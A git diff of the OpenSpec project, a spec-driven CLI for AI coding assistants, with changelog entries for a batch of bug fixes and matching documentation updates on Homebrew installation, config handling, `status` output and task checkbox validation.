- [#1866](https://github.com/Fission-AI/OpenSpec/pull/1866) [`8146be5`](https://github.com/Fission-AI/OpenSpec/commit/8146be5546918cdffce860f1e327d929c5a49bd3) Thanks [@dwin-gharibi](https://github.com/dwin-gharibi)! - Stop one unresolvable file from breaking `openspec list`. To sort changes by recency, `list` stats every file inside each change, and any entry it could not stat failed the whole command: a dangling symlink, such as the `.#tasks.md` lock Emacs keeps beside every file with unsaved edits, or a symlink loop made `list` exit 1 and `list --json` report `"changes": []`, so agents discovering work through it saw no changes at all. An entry that no longer resolves (removed mid-walk, a dangling symlink, or a loop) is now skipped when computing a change's last-modified time. Valid symlinks are dated as before, and any other error, such as a permission failure, still fails the listing.
|
||||
|
||||
- [#1849](https://github.com/Fission-AI/OpenSpec/pull/1849) [`09a999b`](https://github.com/Fission-AI/OpenSpec/commit/09a999bbb258c2ad6d7cdc33436c698c15d4eebe) Thanks [@clay-good](https://github.com/clay-good)! - Report a change directory nested in a namespace folder instead of silently listing the folder around it as a change. Specs can be nested by domain (`specs/mobile/tutorial-videos/spec.md`), so it looks reasonable to lay changes out the same way, but a change is only ever a directory directly under `changes/`: `changes/mobile/refresh-token/` left the real change invisible while `mobile` was reported as a task-less change everywhere. `openspec archive mobile` then moved the unfinished change into the archive under the namespace's name and applied none of its deltas. `openspec list` now marks the folder `not a change` and names the nested directories and a flat alternative, `openspec show`, `openspec status --change` and `openspec status --all` say the same instead of reporting a missing proposal or a full artifact plan, `openspec validate` reports it instead of "must have at least one delta", `openspec list --json` carries a `warnings` entry, and `openspec archive` refuses the folder outright. Detection looks up to three directory levels below `changes/`, which covers every namespace layout seen in practice; a change buried deeper than that behaves as it did before. Fixes [#1846](https://github.com/Fission-AI/OpenSpec/issues/1846).
|
||||
|
||||
- [#1902](https://github.com/Fission-AI/OpenSpec/pull/1902) [`eb03b9e`](https://github.com/Fission-AI/OpenSpec/commit/eb03b9e93320cf74a0df9043577d8023116cb1aa) Thanks [@clay-good](https://github.com/clay-good)! - Install shell completions with the Nix flake package ([#1785](https://github.com/Fission-AI/OpenSpec/pull/1785)). The package now ships bash, zsh and fish completions in their standard `share/` locations, so Nix users get tab completion without running `openspec completion install` against their home directory.
|
||||
|
||||
- [#1775](https://github.com/Fission-AI/OpenSpec/pull/1775) [`626269e`](https://github.com/Fission-AI/OpenSpec/commit/626269ed732250492d8bd220a83df23dd756ee5d) Thanks [@clay-good](https://github.com/clay-good)! - Generated skills and commands no longer point at workflows the active profile does not install. On the default `core` profile, the update workflow told agents to hand off to `/opsx:continue` for missing artifacts and to `/opsx:new` for a change of intent, neither of which `core` generates. Every cross-workflow handoff is now decided at generation time against the installed workflow set, and renders a concrete CLI fallback (`openspec status`, `openspec instructions`, `openspec archive`) when the workflow it would name is absent, rather than relying on a runtime availability check the agent had to perform. The onboarding tutorial's command tables are likewise built from the workflows you actually have.
|
||||
|
||||
Also folds in [#1735](https://github.com/Fission-AI/OpenSpec/issues/1735), which fixed the same issue ([#1734](https://github.com/Fission-AI/OpenSpec/issues/1734)) by removing the optional handoffs outright. The CLI's own runtime instructions no longer name the `openspec-continue-change` skill either, since those strings are chosen at run time and cannot be resolved against a profile; and the blocked-state fallback now carries the full CLI recovery (select the next `ready` artifact from `openspec status`, read its rules with `openspec instructions`, keep the selected `--store`) rather than a one-line pointer.
|
||||
|
||||
- [#1870](https://github.com/Fission-AI/OpenSpec/pull/1870) [`e01ed07`](https://github.com/Fission-AI/OpenSpec/commit/e01ed070f18e15529f82563d4c5af35d8124bad3) Thanks [@dwin-gharibi](https://github.com/dwin-gharibi)! - Stop archiving a change whose delta was written somewhere `archive` never reads. `validate` and `archive` read a change's deltas only from `specs/<capability-path>/spec.md`, but the spec-driven artifact graph counts any markdown file under `specs/` as the specs being written, so a delta at `specs/user-auth.md`, or in a second file beside a capability's `spec.md`, was reported done by `status` and ready by `instructions apply` with no warning, rejected by `validate` only as "no deltas found", and then archived with exit 0 and nothing merged into `openspec/specs/`. A markdown file that carries delta sections but is not a capability's `spec.md` is now a validation error naming the file and the `spec.md` its requirements belong in; `archive` runs that validation and refuses the change instead of archiving it unmerged, and `instructions apply` lists each such file in its `warnings`. `--no-validate` still archives as before, a change with no spec files still archives, and notes without delta sections under `specs/` are not affected.
|
||||
|
||||
- [#1806](https://github.com/Fission-AI/OpenSpec/pull/1806) [`6e62b1d`](https://github.com/Fission-AI/OpenSpec/commit/6e62b1d522cfadb4b9836b63d5afa127bc950743) Thanks [@dwin-gharibi](https://github.com/dwin-gharibi)! - Refuse a `## RENAMED Requirements` section whose `FROM:` and `TO:` lines do not pair up, instead of guessing. The reader kept one pending pair and dropped whatever did not fit: a `TO:` before its `FROM:`, a `FROM:` displaced by a second `FROM:`, or a trailing `FROM:` vanished with no diagnostic. Listing the old names and then the new ones paired the second `FROM:` with the first `TO:`, so `openspec archive` renamed a requirement the delta never named, under a name written for a different one, and exited 0. `openspec validate` now reports each unpaired line as an ERROR with its line number, and archive refuses the change until the pairing is fixed. Well-formed renames, including several consecutive pairs, are unchanged. A change that used to archive with a malformed RENAMED section is now rejected. Fixes [#1805](https://github.com/Fission-AI/OpenSpec/issues/1805).
|
||||
|
||||
- [#1860](https://github.com/Fission-AI/OpenSpec/pull/1860) [`4b5c07a`](https://github.com/Fission-AI/OpenSpec/commit/4b5c07a0c2e5a4a1dcb3ed9f3a040f826eb7d457) Thanks [@dwin-gharibi](https://github.com/dwin-gharibi)! - Read a requirement heading written with a CommonMark closing sequence, such as `### Requirement: Late Fees ###`, as the requirement it renders as. The trailing `#` run stayed in the name, so a REMOVED written that way looked for "Late Fees ###", missed the requirement, and archive exited 0 with a false "treating it as already removed" warning while the requirement stayed in the spec; a closed MODIFIED or RENAMED heading failed as "not found", and a closed and an open heading of one requirement were not reported as duplicates. Requirement names now drop the closing run wherever they are read, exactly as scenario names already did: only a run preceded by a space or tab counts, so a name such as `C#` keeps its `#`. Headings without a closing run are unaffected.
|
||||
|
||||
- [#1868](https://github.com/Fission-AI/OpenSpec/pull/1868) [`7090e16`](https://github.com/Fission-AI/OpenSpec/commit/7090e16d74dfe588dad72bc4fda9bf124e71b0af) Thanks [@dwin-gharibi](https://github.com/dwin-gharibi)! - Reject a schema whose `apply.requires` names an artifact that does not exist. `parseSchema` checked every artifact's `requires` but never `apply.requires`, so `openspec schema validate` passed a one-character typo there, and apply then skipped the unknown id: `apply.requires: [desgin]` turned the apply gate off and told the agent "Proceed with implementation" with only a proposal written. That is now a schema error, raised wherever the schema is loaded, exactly like an unknown artifact `requires`, and it names the bad id and the artifacts the schema declares. `openspec schema validate` also warns, without failing, when `apply.tracks` isn't exactly equal to some artifact's `generates` value, because OpenSpec finds the tracked artifact by comparing those two strings and can otherwise not tell which artifact's progress the file belongs to. That covers a typo such as `task.md` and also `tracks: tasks/main.md` against `generates: tasks/*.md`, where the glob does produce the file but the strings still differ. Apply reads that path as written either way, so schemas that track a hand-written file keep loading and working. Every built-in schema parses as before.
|
||||
|
||||
- [#1856](https://github.com/Fission-AI/OpenSpec/pull/1856) [`46ff91f`](https://github.com/Fission-AI/OpenSpec/commit/46ff91f2d626ef2c3f9f55ff345aa23cd44a6e95) Thanks [@dwin-gharibi](https://github.com/dwin-gharibi)! - Make `openspec show --json --deltas-only` report the deltas archive applies. `ChangeParser`, which backs `show --json`, the `change list` delta counts and archive's proposal warnings, read delta specs with its own section lookup instead of `parseDeltaSpec`, the reader archive uses, and the two disagreed. A REMOVED written in the bullet form (`` - `### Requirement: X` ``) was invisible to it, so it fell back to the proposal's "What Changes" prose and reported an invented MODIFIED while archive deleted the requirement; a repeated section header was read only once; and a RENAMED line written with `*` or `+` was dropped. The inspection command OpenSpec's own error text recommends therefore misreported a deletion. `ChangeParser` now derives every operation from `parseDeltaSpec`, and a change whose delta spec files carry a delta section is described by them alone, so proposal prose is never reported in place of what archive applies. Requirement text and scenarios are read exactly as before, header-form deltas produce the same output, and a change with no delta spec files, or a legacy change whose spec files carry no delta section, still falls back to the "What Changes" bullets.
|
||||
|
||||
- [#1786](https://github.com/Fission-AI/OpenSpec/pull/1786) [`8b99c07`](https://github.com/Fission-AI/OpenSpec/commit/8b99c07bd0d455f72e746d3950f03e52a025d655) Thanks [@clay-good](https://github.com/clay-good)! - `openspec status` now names the command that moves the change forward.
|
||||
|
||||
The text output reported state and stopped there, so picking a change back up (after a lost session, or on a change you did not start) meant already knowing which command came next. The JSON surface had carried that command all along in `nextSteps`; the text surface never printed it.
|
||||
|
||||
Status now ends with a `Next:` line: the next ready artifact's `openspec instructions` command while planning is unfinished, and `openspec instructions apply` once every planning artifact exists. It carries `--store <id>` when the resolved root is a store, and it is built from the same source as the JSON `nextSteps` sentence, so the two surfaces cannot name different commands.
|
||||
|
||||
- [#1882](https://github.com/Fission-AI/OpenSpec/pull/1882) [`208b5b5`](https://github.com/Fission-AI/OpenSpec/commit/208b5b55106fbeda2ed9f099671b8ce85a01cbaa) Thanks [@dwin-gharibi](https://github.com/dwin-gharibi)! - Stop a store named `specs` or `changes` from taking over root selection. Stores are placed at `~/openspec/<id>`, so a store with one of those ids is itself `~/openspec/specs` or `~/openspec/changes`, and that made `$HOME` look like a planning root. Every command run anywhere under the home directory then resolved `$HOME` as the nearest root: the global `defaultStore` was never consulted, and `new change` wrote into `~/openspec/changes`, outside any store. A `specs/` or `changes/` directory that carries store metadata no longer counts as planning content of the directory above it, so these stores resolve like any other. A real project's `openspec/specs/` and `openspec/changes/` are unaffected.
|
||||
|
||||
- [#1880](https://github.com/Fission-AI/OpenSpec/pull/1880) [`9f8dec5`](https://github.com/Fission-AI/OpenSpec/commit/9f8dec5dd937da78bbdaeff5e5dfd041bb43cf5c) Thanks [@dwin-gharibi](https://github.com/dwin-gharibi)! - Stop `openspec store remove` deleting a store the user did not name. Remove deletes the target's folder recursively, but it checked only the target's own metadata, so any other registered store living inside that folder was deleted with it, uncommitted planning work included, while its registry entry was left pointing at a path that no longer existed. The natural way to get there is a shared store vendored into another as a git submodule, a layout `store register` accepts. Remove now refuses when another registration points inside the folder, checked under the same registry lock that commits the removal, and the error names each nested store with the `openspec store unregister` command to run first. Removing a store whose other registrations are siblings is unchanged, and `store register` still accepts nested checkouts.
|
||||
|
||||
- [#1884](https://github.com/Fission-AI/OpenSpec/pull/1884) [`5d22145`](https://github.com/Fission-AI/OpenSpec/commit/5d221456e57feb9277de40482fade427201b9bdb) Thanks [@dwin-gharibi](https://github.com/dwin-gharibi)! - Let `openspec store setup --no-init-git` create a store inside an existing Git repository. Setup refuses a path inside another repository because initializing the store there would nest one repository in another, but it ran that check even with `--no-init-git`, which creates no repository at all. Users who keep their home directory as a dotfiles repository therefore could not set up a store at the recommended `~/openspec/<id>` path with any flag. With `--no-init-git` the check is now skipped, and the store never records the enclosing repository's remote. The default setup and an explicit `--init-git` still refuse a path inside another repository.
|
||||
|
||||
- [#1862](https://github.com/Fission-AI/OpenSpec/pull/1862) [`8fc65b7`](https://github.com/Fission-AI/OpenSpec/commit/8fc65b7f70c4bd730a1dbe500cbe165d156f3c58) Thanks [@dwin-gharibi](https://github.com/dwin-gharibi)! - Count task checkboxes under every CommonMark list marker. The task counter shared by `list`, `status`, `view`, `instructions apply`, `validate --archived` and archive's incomplete-task check recognized only `-` and `*` bullets, so a task written as an ordered item (`1. [ ]`, `1) [ ]`) or under a `+` bullet was invisible to all of them: a change with unfinished ordered tasks reported "✓ Complete", and `openspec archive` archived it without its incomplete-task warning. Task lines under `+` and ordered markers (`.` or `)`, up to nine digits, as CommonMark allows) now count exactly like `-` and `*` ones, including nested sub-tasks, CRLF files and the existing tolerance of a missing space after the marker, and task-numbering checks now see them too. Ordered and `+` items without a checkbox are still ignored, and `-` and `*` tasks count as before.
|
||||
|
||||
- [#1777](https://github.com/Fission-AI/OpenSpec/pull/1777) [`3312af4`](https://github.com/Fission-AI/OpenSpec/commit/3312af4799eb162d3ddb7804d643ace5282c22cb) Thanks [@clay-good](https://github.com/clay-good)! - Start generated proposal, spec, design, and tasks files with a top-level heading, so artifacts are complete markdown documents instead of files whose first line is a section header. Editors that run markdownlint no longer flag every OpenSpec artifact with MD041. `openspec schema init` scaffolds custom templates the same way.
|
||||
|
||||
`openspec show --json` and `openspec change list --json` keep naming a change by its id when its proposal opens with the template's bare `# Proposal` title.
|
||||
|
||||
- [#1778](https://github.com/Fission-AI/OpenSpec/pull/1778) [`7de2404`](https://github.com/Fission-AI/OpenSpec/commit/7de24044ef4c635f634b78fa6bc4b5905967bfd8) Thanks [@clay-good](https://github.com/clay-good)! - Make the vendor-neutral tool target findable when your assistant is not on the list. `openspec init` now shows it as "Other / Universal (shared .agents skills)"; the picker's search box matches it on `universal`, `other`, `generic`, `custom`, `proprietary`, `unlisted`, `unsupported`, `vendor-neutral` and `agents.md`; a search that matches nothing points at it instead of ending at "No matches"; and `--tools <unknown>` names it in the error. The search box also accepts punctuation, so `.agents` and `amazon-q` filter instead of silently dropping their `.` and `-`.
|
||||
|
||||
- [#1876](https://github.com/Fission-AI/OpenSpec/pull/1876) [`605d9e7`](https://github.com/Fission-AI/OpenSpec/commit/605d9e7a2bb5c1bab90268933f9b84ff1eb8807c) Thanks [@dwin-gharibi](https://github.com/dwin-gharibi)! - Stop OpenSpec rewriting a global config file it cannot parse. After a hand edit left a typo such as a trailing comma in `config.json`, the next command of any kind, including read-only ones like `openspec list`, read the fallback defaults as telemetry consent, minted a new anonymous ID and wrote it back, replacing the whole file: a `telemetry.enabled false` opt-out, the chosen profile and the workflow list were all lost, and usage events were sent. A config file that exists but does not hold a JSON object, whether it failed to parse or its root is something else such as `null`, an array or a string, is now never written implicitly, and telemetry and the update check treat it as opted out. `config set`, `config unset` and `config profile` refuse with an error that names the file and points to `openspec config edit`, and `openspec config reset --all` still replaces it. The existing "Invalid JSON" warning is unchanged, and valid or missing config files behave exactly as before.
|
||||
|
||||
- [#1840](https://github.com/Fission-AI/OpenSpec/pull/1840) [`fede536`](https://github.com/Fission-AI/OpenSpec/commit/fede536c27e03c1aaa3c17caffa837f483d9e9b9) Thanks [@clay-good](https://github.com/clay-good)! - Resolve the contradiction that left `/opsx:update`'s only write path without a governing rule. Step 4 told the agent to "Apply the requested edit", while step 5 and the guardrails told it to write only after the user confirms each revision, so the same `/opsx:update "the design now uses X"` either wrote immediately or stopped and showed the proposed revision first, depending on which passage the agent weighed. Step 4 now drafts the edit in the conversation and step 5 owns every artifact write, matching the workflow's own specified behavior: propose each revision and apply it only after user confirmation. Fixes [#1836](https://github.com/Fission-AI/OpenSpec/issues/1836).
|
||||
|
||||
- [#1858](https://github.com/Fission-AI/OpenSpec/pull/1858) [`db560ae`](https://github.com/Fission-AI/OpenSpec/commit/db560ae33f565b76ebbc040782ec7007295e8133) Thanks [@dwin-gharibi](https://github.com/dwin-gharibi)! - Stop `validate` accepting a requirement whose only scenario is a bare header. The delta scenario counter counted every `####` header, while the spec path that archive uses to validate the rebuilt spec keeps a scenario only when its body has content, so `validate` called such a change valid and `archive` then refused it with a generic "Requirement must have at least one scenario" that did not name the requirement. Both paths now share one rule, `hasScenarioBody`, and read a scenario's body up to the same boundary, so `validate` rejects exactly what archive rejects, naming the requirement and saying that a header with no body under it does not count. A scenario whose body is only a fenced block or a deeper header still counts, a requirement with one real scenario is still accepted even when another is empty, and main-spec validation is unchanged.
|
||||
|
||||
- [#1774](https://github.com/Fission-AI/OpenSpec/pull/1774) [`09984b8`](https://github.com/Fission-AI/OpenSpec/commit/09984b824254f9e35bcdf628fdb052a689a57f37) Thanks [@clay-good](https://github.com/clay-good)! - ### Bug Fixes
|
||||
|
||||
- **Task lists without checkboxes are now caught**: a `tasks.md` written as plain bullets or a numbered list counts as zero tasks, so `openspec list` and `openspec status` reported "No tasks" and `openspec archive` had no unfinished work to warn about. `openspec validate` now warns when a change's tracked task files contain list items but no checkbox at all, and points at the first offending line.
|
||||
|
||||
- [#1852](https://github.com/Fission-AI/OpenSpec/pull/1852) [`5f5914e`](https://github.com/Fission-AI/OpenSpec/commit/5f5914e7f7a817262c7564ac92694db833564978) Thanks [@clay-good](https://github.com/clay-good)! - Match the natural "openspec <verb>" phrasing to the workflow it names. Users and agents say "openspec propose" or "do an openspec apply", but no workflow skill's description contained that phrasing (and a skill's description is what an agent matches on), so the phrase read as an invitation to hand-build the artifacts with the CLI instead of running the workflow. Every workflow skill's description now names the phrasings a user actually types ("openspec propose", "opsx apply", and so on). Run `openspec update` to pick it up. `openspec update` itself is deliberately left unclaimed: it is a real CLI command that refreshes generated files, unrelated to the update-change workflow, which claims "openspec update change" instead. Commands-only installs write no skills and are unchanged. Fixes [#1221](https://github.com/Fission-AI/OpenSpec/issues/1221).
|
||||
|
||||
## 1.13.0
|
||||
|
||||
### Minor Changes
|
||||
|
||||
@@ -122,7 +122,7 @@ Solo, OpenSpec keeps you and your AI honest on a single repo. On a team, the har
|
||||
|
||||
## Quick Start
|
||||
|
||||
**Requires Node.js 20.19.0 or higher.**
|
||||
**Requires Node.js 20.19.0 or higher.** Homebrew installs it as a dependency.
|
||||
|
||||
Install OpenSpec globally:
|
||||
|
||||
@@ -130,6 +130,12 @@ Install OpenSpec globally:
|
||||
npm install -g @fission-ai/openspec@latest
|
||||
```
|
||||
|
||||
Or install the official [Homebrew formula](https://formulae.brew.sh/formula/openspec) on macOS or Linux:
|
||||
|
||||
```bash
|
||||
brew install openspec
|
||||
```
|
||||
|
||||
Then navigate to your project directory and initialize:
|
||||
|
||||
```bash
|
||||
@@ -137,11 +143,11 @@ cd your-project
|
||||
openspec init
|
||||
```
|
||||
|
||||
> **Want your AI to do it?** Paste the [setup prompt](docs/installation.md#install-with-your-ai-assistant) into your coding assistant — it installs the CLI, runs `openspec init`, and verifies the result.
|
||||
> **Want your AI to do it?** Paste the [setup prompt](docs-lab/start/installation.md#install-with-your-ai-assistant) into your coding assistant — it installs the CLI, runs `openspec init`, and verifies the result.
|
||||
|
||||
Now talk to your AI:
|
||||
|
||||
- **Not sure what to build yet?** Start with `/opsx:explore`, a no-stakes thinking partner that reads your code, weighs options, and shapes a plan before anything is written. ([Explore guide](docs/explore.md))
|
||||
- **Not sure what to build yet?** Start with `/opsx:explore`, a no-stakes thinking partner that reads your code, weighs options, and shapes a plan before any code gets written. ([Explore guide](docs/explore.md))
|
||||
- **Already know what you want?** Go straight to `/opsx:propose <what-you-want-to-build>`.
|
||||
|
||||
Both are in the default profile. If you want the expanded workflow (`/opsx:new`, `/opsx:continue`, `/opsx:ff`, `/opsx:verify`, `/opsx:bulk-archive`, `/opsx:onboard`), select it with `openspec config profile` and apply with `openspec update`.
|
||||
@@ -151,7 +157,7 @@ Both are in the default profile. If you want the expanded workflow (`/opsx:new`,
|
||||
> [!NOTE]
|
||||
> Not sure if your tool is supported? [View the full list](docs/supported-tools.md) – we support 30+ tools and growing.
|
||||
>
|
||||
> Also works with pnpm, yarn, bun, and nix. [See installation options](docs/installation.md).
|
||||
> Also works with Homebrew, pnpm, yarn, bun, and Nix. [See installation options](docs-lab/start/installation.md).
|
||||
|
||||
## Docs
|
||||
|
||||
@@ -208,6 +214,12 @@ AI coding assistants are powerful but unpredictable when requirements live only
|
||||
npm install -g @fission-ai/openspec@latest
|
||||
```
|
||||
|
||||
If you installed OpenSpec with Homebrew:
|
||||
|
||||
```bash
|
||||
brew upgrade openspec
|
||||
```
|
||||
|
||||
**Refresh agent instructions**
|
||||
|
||||
Run this inside each project to regenerate AI guidance and ensure the latest slash commands are active:
|
||||
|
||||
+1
-1
@@ -96,7 +96,7 @@ the page or rewriting the goal in both places, never letting them drift.
|
||||
| [Overview](start/overview.md) | _TODO: emptied 2026-08-21 for a from-scratch rewrite and pulled from the site (`/docs` redirects to Installation meanwhile); the old goal line was dropped as too weak a pitch. Brief in Notes.md._ |
|
||||
| [Installation](start/installation.md) | Install the `openspec` CLI on your machine, update it, and uninstall it. |
|
||||
| [Set up your project](start/setup.md) | Add OpenSpec to a project: run init, see what it wrote, and adjust it. |
|
||||
| [Quickstart](start/quickstart.md) | Your first change on your existing repo, from idea to archived. |
|
||||
| [Quickstart](start/quickstart.md) | Your first change in a new or existing project, from idea to archived. |
|
||||
|
||||
### Guides: understand the system, use it well, bring it to your codebase and team
|
||||
|
||||
|
||||
@@ -58,8 +58,6 @@ For example, with a `context` field and the rule from the top of this page, here
|
||||
|
||||
Your config arrives first, then OpenSpec's built-in instruction and template. Rules add to the built-ins and never replace them. Edits to config.yaml reach the agent on the next run.
|
||||
|
||||
[Workflow runs](../reference/architecture/workflow-runs.md) covers the full run, from invocation to written artifacts.
|
||||
|
||||
## The fields
|
||||
|
||||
Three fields shape what the agent receives. Each field's exact contract (types, limits, validation) is in [Project configuration (config.yaml)](../reference/configuration/config-yaml.md).
|
||||
|
||||
@@ -125,7 +125,7 @@ The scaffold is bare. Artifacts come from the built-in four ids only, and the ge
|
||||
|
||||
A fork has two kinds of files to edit:
|
||||
|
||||
- **templates/** change the skeleton of each document. Add a section to the tasks template and every new tasks.md starts with it.
|
||||
- **templates/** change the skeleton of each document. Add a section to the tasks template and every new tasks.md starts with it. Keep the `#` title on the first line: the artifact inherits it, so every generated file opens as a titled document.
|
||||
- **schema.yaml** changes the workflow itself: which artifacts exist, what each one requires first, and the instruction the agent gets when creating it.
|
||||
|
||||
For example, to drop the design document for a leaner flow:
|
||||
|
||||
@@ -17,7 +17,8 @@ once the prose lands. -->
|
||||
|
||||
If it has a row in the [support matrix](../reference/supported-tools.md), yes.
|
||||
Pick its id at init. If it isn't listed but reads the shared `.agents/skills/`
|
||||
folder, pick **Shared `.agents` skills** (`--tools agents`). If neither, request
|
||||
it in the [OpenSpec repo](https://github.com/Fission-AI/OpenSpec/issues).
|
||||
folder, pick **Other / Universal** (`--tools agents`), covered by the support
|
||||
matrix's Other / Universal section. If neither, request it in the
|
||||
[OpenSpec repo](https://github.com/Fission-AI/OpenSpec/issues).
|
||||
|
||||
## Where did the old /openspec:* commands go?
|
||||
|
||||
@@ -302,6 +302,15 @@ Pass --allow-unknown to bypass this check.
|
||||
Error: Invalid configuration - delivery: Invalid option: expected one of "both"|"skills"|"commands"
|
||||
```
|
||||
|
||||
If the config file exists but does not hold a JSON object, whether because it is not valid JSON at all or because its root is something else such as `null` or an array, `config set`, `config unset` and `config profile` exit 1 and leave the file unchanged. Fix it with `openspec config edit`, or replace it with `openspec config reset --all`:
|
||||
|
||||
```
|
||||
Error: /home/you/.config/openspec/config.json could not be parsed, so it was left unchanged.
|
||||
Fix it with "openspec config edit", or reset it with "openspec config reset --all".
|
||||
```
|
||||
|
||||
Until it is fixed, telemetry and the update check stay off.
|
||||
|
||||
### openspec config unset
|
||||
|
||||
```bash
|
||||
@@ -314,7 +323,7 @@ Removes the key so the default applies again. Keys with built-in defaults always
|
||||
Unset delivery (reverted to default)
|
||||
```
|
||||
|
||||
A key with no value at all prints `Key "featureFlags.nothere" was not set`. Both cases exit 0.
|
||||
A key with no value at all prints `Key "featureFlags.nothere" was not set`. Both cases exit 0. A config file that cannot be parsed exits 1 instead, as for `config set`.
|
||||
|
||||
### openspec config reset
|
||||
|
||||
@@ -350,7 +359,11 @@ Without `--all` it exits 1 and prints the usage line.
|
||||
openspec config edit
|
||||
```
|
||||
|
||||
Opens the config file in `$EDITOR` (falling back to `$VISUAL`), creating it with defaults first if missing. When the editor closes, the file is validated. Invalid JSON or an invalid config exits 1. With no editor configured it exits 1:
|
||||
Opens the config file in `$EDITOR` (falling back to `$VISUAL`), creating it with defaults first if missing. When the editor closes, the file is validated. Invalid JSON or an invalid config exits 1.
|
||||
|
||||
The editor value may carry arguments and quoted paths, for example `code --wait` or `"/Applications/Sublime Text.app/Contents/SharedSupport/bin/subl" -w`. It is split into words without a shell, so `$VAR`, `~` and `;` are passed through literally. An editor that cannot start, or exits non-zero, prints a one-line error and exits 1.
|
||||
|
||||
With no editor configured it exits 1:
|
||||
|
||||
```
|
||||
Error: No editor configured
|
||||
@@ -449,6 +462,13 @@ Specs:
|
||||
|
||||
An empty listing prints `No active changes found.` or `No specs found.` and still exits 0.
|
||||
|
||||
A change is a directory directly under `openspec/changes/`. Unlike specs, changes cannot be nested in a namespace folder. A folder like `changes/mobile/` that only wraps a change (`changes/mobile/refresh-token/`) is listed with the status `not a change`, followed by a warning that names the nested directories. `--json` marks that entry with a `nested` array and adds a top-level `warnings` array. `show`, `status`, `validate` and `archive` refuse the folder with the same message. To fix it, move the change up and fold the namespace into its name:
|
||||
|
||||
```bash
|
||||
mv openspec/changes/mobile/refresh-token openspec/changes/mobile-refresh-token
|
||||
rmdir openspec/changes/mobile
|
||||
```
|
||||
|
||||
**Exit codes**
|
||||
|
||||
- `0`: listing printed, even when empty.
|
||||
@@ -667,6 +687,18 @@ Bulk runs print one status line per item, followed by any findings, and end with
|
||||
Totals: 2 passed, 0 failed (2 items)
|
||||
```
|
||||
|
||||
**Task checkbox findings**
|
||||
|
||||
Progress counts checkboxes and nothing else, so a task file written as plain bullets reads as zero tasks: `openspec list` and `openspec status` report no work, and `openspec archive` has nothing to flag as incomplete. Validate reports a `WARNING` on each tracked task file that lists work without a checkbox:
|
||||
|
||||
```text
|
||||
⚠ [WARNING] tasks.md: This change counts as 0 tasks: no line in its tracked task files is a checkbox, so "openspec list" and "openspec status" report no work and "openspec archive" has nothing to flag as incomplete. Write each task as "- [ ] 1.1 Description".
|
||||
```
|
||||
|
||||
The warning fires only when the change's whole tracked set holds no checkbox at all. One file of prose beside a real checklist is not reported, and a change mid-authoring keeps its progress the moment a single checkbox exists. `--strict` turns the warning into a failure. The line number is in the `--json` report.
|
||||
|
||||
Fenced blocks, HTML comments, YAML front matter and indented code are not scanned, so a pasted terminal sample is never mistaken for a task list.
|
||||
|
||||
**Archive merge findings**
|
||||
|
||||
For changes, validate runs archive's merge builder against the current main specs without writing files. It reports merge conflicts, such as a missing `MODIFIED` target or a conflicting `ADDED` requirement, as `INFO`:
|
||||
@@ -999,7 +1031,20 @@ Schema: spec-driven
|
||||
Next: openspec status --change add-caching
|
||||
```
|
||||
|
||||
With `--json`:
|
||||
When no `openspec/` directory was found, `new change` creates one where you are and says so:
|
||||
|
||||
```
|
||||
Created change 'add-caching' at openspec/changes/add-caching/
|
||||
Schema: spec-driven
|
||||
Next: openspec status --change add-caching
|
||||
|
||||
Note: no OpenSpec root was found here, so one was created at openspec/.
|
||||
Run `openspec init` to finish setting this project up, or delete that directory if you meant a different project.
|
||||
```
|
||||
|
||||
The notice goes to stdout with the rest of the human output, and never appears with `--json`.
|
||||
|
||||
With `--json`, in a project that already has `openspec/`:
|
||||
|
||||
```json
|
||||
{
|
||||
@@ -1016,6 +1061,15 @@ With `--json`:
|
||||
}
|
||||
```
|
||||
|
||||
When no `openspec/` directory was found and `new change` created one, the JSON has the same shape. `root.path` is the directory you ran it from, and `root.source` reads `implicit`:
|
||||
|
||||
```json
|
||||
"root": {
|
||||
"path": "/Users/you/projects/my-app",
|
||||
"source": "implicit"
|
||||
}
|
||||
```
|
||||
|
||||
**Exit codes**
|
||||
|
||||
- `0`: change created.
|
||||
@@ -1065,8 +1119,24 @@ Progress: 2/4 artifacts complete
|
||||
[x] specs
|
||||
[ ] design
|
||||
[-] tasks (blocked by: design)
|
||||
|
||||
Next: openspec instructions design --change "add-rate-limit" --json
|
||||
```
|
||||
|
||||
The `Next:` line names the one command that moves the change forward, so `openspec status` is enough to pick a change back up in a fresh session. It names the next ready artifact while planning is unfinished, and `openspec instructions apply` once every planning artifact exists:
|
||||
|
||||
```
|
||||
[x] proposal
|
||||
[x] specs
|
||||
[x] design
|
||||
[x] tasks
|
||||
|
||||
All planning artifacts complete!
|
||||
Next: openspec instructions apply --change "add-rate-limit" --json
|
||||
```
|
||||
|
||||
It carries `--store <id>` whenever the resolved root is a store, and names the same command as the JSON `nextSteps` sentence.
|
||||
|
||||
`--json` adds per-artifact dependencies, resolved file paths, and a suggested next step. Trimmed:
|
||||
|
||||
```json
|
||||
@@ -1218,7 +1288,9 @@ With `--json`, each form returns one object. The artifact form starts:
|
||||
...
|
||||
```
|
||||
|
||||
and continues with `outputPath`, `existingOutputPaths`, the full `instruction` and `template` strings, `dependencies`, `unlocks`, and `root`. The `apply` form carries `contextFiles`, `progress`, `tasks`, `state` (`blocked`, `ready`, `all_done`), and `instruction`.
|
||||
and continues with `outputPath`, `existingOutputPaths`, the full `instruction` and `template` strings, `dependencies`, `unlocks`, and `root`. The `apply` form carries `contextFiles`, `progress`, `tasks`, `taskTrackingConfigured`, `state` (`blocked`, `ready`, `all_done`), and `instruction`.
|
||||
|
||||
`taskTrackingConfigured` is always a boolean: `true` when the schema sets a non-null [`apply.tracks`](schemas/schema-yaml.md#tracks), even if no file matches, and `false` otherwise. If a matched tracking file cannot be read, `unavailableTrackingFiles` contains its absolute `path` and error `reason`. This field is omitted when every matched file is readable. Readable files still contribute to `tasks` and `progress`, but `state` cannot be `all_done` until every matched file is read.
|
||||
|
||||
**Exit codes**
|
||||
|
||||
@@ -1410,7 +1482,7 @@ openspec schema validate spec-driven # one schema, from any source
|
||||
openspec schema validate # every project-local schema
|
||||
```
|
||||
|
||||
It verifies that `schema.yaml` exists and parses, that the structure matches the schema format, that every artifact's template file exists inside the schema's `templates/` directory, and that the dependency graph has no cycles or unknown references.
|
||||
It verifies that `schema.yaml` exists and parses, that the structure matches the schema format, that every artifact's template file exists inside the schema's `templates/` directory, and that the dependency graph has no cycles or unknown references, including in `apply.requires`. An `apply.tracks` value that isn't exactly equal to some artifact's `generates` value prints a `warning:` line but does not fail validation, because OpenSpec then can't tell which artifact's progress that file belongs to.
|
||||
|
||||
**Options**
|
||||
|
||||
@@ -1559,6 +1631,8 @@ openspec store setup team-context --path ~/openspec/team-context
|
||||
